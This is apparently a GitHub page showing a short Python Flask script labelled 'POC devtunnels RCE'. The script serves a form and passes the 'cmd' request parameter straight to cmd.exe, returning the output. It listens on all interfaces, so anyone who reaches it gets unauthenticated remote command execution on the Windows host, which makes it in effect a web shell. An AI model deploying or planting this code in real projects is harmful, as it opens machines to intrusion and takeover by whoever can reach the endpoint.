-
Notifications
You must be signed in to change notification settings - Fork 1
Expand file tree
/
Copy pathflask_cli1.py
More file actions
36 lines (31 loc) · 1 KB
/
flask_cli1.py
File metadata and controls
36 lines (31 loc) · 1 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from flask import Flask, request
import subprocess, locale
app = Flask(__name__)
@app.route("/")
def index():
return """
<h2>POC devtunnels RCE</h2>
<form method="get" action="/run">
<input type="text" name="cmd" placeholder="Enter win command (ex. ipconfig /all)">
<input type="submit" value="Booom!">
</form>
"""
@app.route("/run")
def run_cmd():
cmd = request.args.get("cmd", "echo Nothing to do")
try:
# odpalenie przez cmd.exe
result = subprocess.run(
["cmd.exe", "/c", cmd],
capture_output=True
)
# dekodowanie w systemowym kodowaniu Windows
enc = locale.getpreferredencoding()
stdout = result.stdout.decode(enc, errors="replace")
stderr = result.stderr.decode(enc, errors="replace")
output = stdout + stderr
except Exception as e:
output = f"Exception: {e}"
return f"<pre>{output}</pre>"
if __name__ == "__main__":
app.run(debug=False, host="0.0.0.0", port=5000)